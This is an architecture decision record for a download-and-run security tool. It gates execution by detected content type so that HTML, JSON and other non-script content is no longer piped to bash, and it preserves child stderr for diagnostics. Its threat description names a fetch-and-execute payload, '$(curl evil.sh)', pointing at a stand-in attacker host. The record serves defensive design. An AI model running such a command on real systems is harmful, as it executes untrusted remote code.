ADR 0036: run pipeline content-type execution gate
Status: Accepted Date: 2026-07-20 Issue: #612
Context
Before this decision, arbitraitor run <url> selected an execution mode with
a single boolean check:
#![allow(unused)]
fn main() {
let mode = if artifact.is_native {
ExecutionMode::Native
} else {
ExecutionMode::Script
};
}
is_native matched only PeExecutable, ElfExecutable, and
MachOExecutable (per is_native_artifact in run_services.rs). Every
other classified ArtifactType — including HtmlDocument, JsonDocument,
XmlDocument, GenericText, GenericBinary, archives, compressed
payloads, PowerShellScript, PythonScript, JavaScript, and Unknown —
fell through to ExecutionMode::Script and was piped through
/bin/bash --noprofile --norc as if it were a shell script.
This caused two compounding problems, reported in #612:
-
Unsafe and incorrect execution. HTML, JSON, XML, and other text/markup can incidentally contain bash-parseable constructs (
$(...),</>redirections,|pipes, backticks). Piping such bytes to bash amounts to executing whatever bash interpretation falls out of the content. The user who runsarbitraitor run https://qlty.shdoes not expect the 39 KB HTML response to be fed to bash, and an attacker who controls the response body can deliver PowerShell-as-bash-as-$(curl evil.sh)payloads that bypass the inspection verdict (the bytes scanned are not the bytes that bash runs — bash re-parses them under different rules than the shell analyzer). -
Diagnostic loss on early child exit. When the interpreter process exited before consuming the streamed script bytes (
EPIPEon the stdin pipe — e.g. becauseunshare --userwas denied, or because bash rejected the input as a parse error and exited 1),ScriptExecution::executereturnedExecError::ScriptIo { stage: "write-script-stdin", source }without ever reading the child’s stderr. The actual root cause (whatever bash orunshareprinted to stderr) was silently discarded, leaving the user with a generic “script input I/O failure” message and no clue whether the cause was “I gave bash junk”, “my kernel denies user namespaces”, or “Landlock blocked the interpreter path”.
The diagnostic-loss bug also affected legitimate shell-script execution: a
shell script that exited early (e.g. on set -e followed by a failing
command) produced the same misleading write-script-stdin failure even
though the script bytes WERE valid bash, because bash exited before draining
the parent’s pipe buffer.
Decision
-
Gate execution by
ArtifactTypein therunpipeline. OnlyArtifactType::ShellScript(_)and the native-executable types (PeExecutable,ElfExecutable,MachOExecutable) are runnable by the currentrunpipeline. All other types — includingPowerShellScript,PythonScript, andJavaScript(whose exec paths exist inarbitraitor-execbut are not wired intorun) — fail closed withRunFailure::Blockedbefore reaching the execution layer.InspectedArtifactnow carriesArtifactTypedirectly (rather than a stringified{:?}form), andexecution_mode_for_type(ArtifactType)is the single source of truth for the runnable-vs-blocked decision. -
Preserve child stderr across
write_all/flushfailures.ExecError::ScriptIonow carrieschild_exit_code: Option<i32>andchild_stderr: Vec<u8>, populated best-effort viaspawn::best_effort_captureafter a write or flush failure. A newExecError::script_ioconstructor renders a stable, boundedchild_detailsuffix (≤1 KiB stderr preview) so theDisplayrepresentation surfaces the real root cause:script input I/O failure during write-script-stdin (child exited 1; stderr: "bash: !DOCTYPE: event not found")orscript input I/O failure during write-script-stdin (child exited before reading stdin; stderr: "unshare: operation not permitted").PowerShellError::ScriptIomirrors the same fields and shares the rendering helper (ExecError::script_io_detail) so PowerShell execution gets the same diagnostic improvement when wired. -
Exit code reused, not added. Non-executable artifacts return the existing
ExitCode::BlockedByPolicy(the same code returned byVerdict::Block). No new exit code is introduced; theblocked by policy: <reason>output line already exists inwrite_failure.
Consequences
-
Safe by default.
arbitraitor runno longer feeds arbitrary text/markup/binary content to bash. Users who want to execute PowerShell, Python, or JavaScript artifacts througharbitraitor runmust wait for those exec paths to be wired intorun_services(tracked separately). -
Better diagnostics. When
arbitraitor runfails during script execution, the user-visible failure message now identifies whether the child exited early (and what it printed to stderr) — distinguishing “user-fed bash junk” from “kernel denied the namespace” from “Landlock blocked the interpreter path”. -
API surface change in
arbitraitor-exec.ExecError::ScriptIoandPowerShellError::ScriptIogain new fields. The project is pre-alpha and the README already documents that “the API, CLI, receipts, and policy schemas will change”, so this is acceptable. A#[must_use]ExecError::script_io(...)constructor is provided so callers don’t have to build thechild_detailfield by hand. -
InspectedArtifactfield shape changes.is_native: boolis removed in favor of deriving native-vs-script fromartifact_type: ArtifactType. Receipt serialization is unaffected (the artifact_type string passed toReceiptBuilder::artifact_typeis generated on demand viaformat!("{:?}", artifact.artifact_type)). -
No regression for existing tests/usage. Shell scripts and native executables continue to execute as before. The content-type gate is a strictly-tighter policy that fails closed on types that previously produced meaningless
write-script-stdinerrors.
Alternatives considered
-
Use
ContentTypefrom fetch metadata (HTTPContent-Typeheader) instead ofArtifactType(content-derived). Rejected: HTTPContent-Typeis attacker-controllable and frequently mislabeled (servers returningapplication/octet-streamfor shell scripts, ortext/plainfor HTML).ArtifactTypeis derived from immutable artifact bytes via shebang / magic-number detection, which is the trust boundary we must gate on. -
Loosen the gate to allow
PowerShellScript/PythonScript/JavaScriptvia the corresponding interpreters. Deferred: wiring those requires interpreter discovery (pwsh,python3,node), path canonicalization, and Landlock rules for the interpreter’s load path. Until that work lands, blocking those types is strictly safer than piping them to bash. A future ADR can extend the gate when those exec paths are wired. -
Add a per-type allowlist policy knob (e.g.
[run] allow_json = true). Rejected: there is no safe execution path for JSON / XML / HTML / archives — even withbash, the result is either a parse error or accidental command execution. There is no scenario where a user should be able to opt into feeding HTML to bash. The gate is a hard rule, not a policy preference. -
Render
child_stderrdirectly in the#[error(...)]format string without a separatechild_detailfield. Rejected:thiserrorformat strings can only reference fields by name; we’d need either a customDisplayimpl or a precomputed field. The precomputedchild_detailapproach keeps the error variant a plain struct and lets the constructor centralize the bounded-rendering policy (1 KiB stderr preview, UTF-8 lossy decode, trailing-whitespace trim).
References
- Issue #612 — bug report with reproduction and root-cause analysis
- ADR-0007 — assurance levels model (gating is a “fail closed” policy)
- ADR-0008 — execution context security profile (the mediated execution boundary this gate sits in front of)
- ADR-0027 — CLI pipeline boundary (the
runmodule this gate lives in) docs/conventions.md— security invariants (fail closed,no early release,safe presentationfor the bounded stderr preview)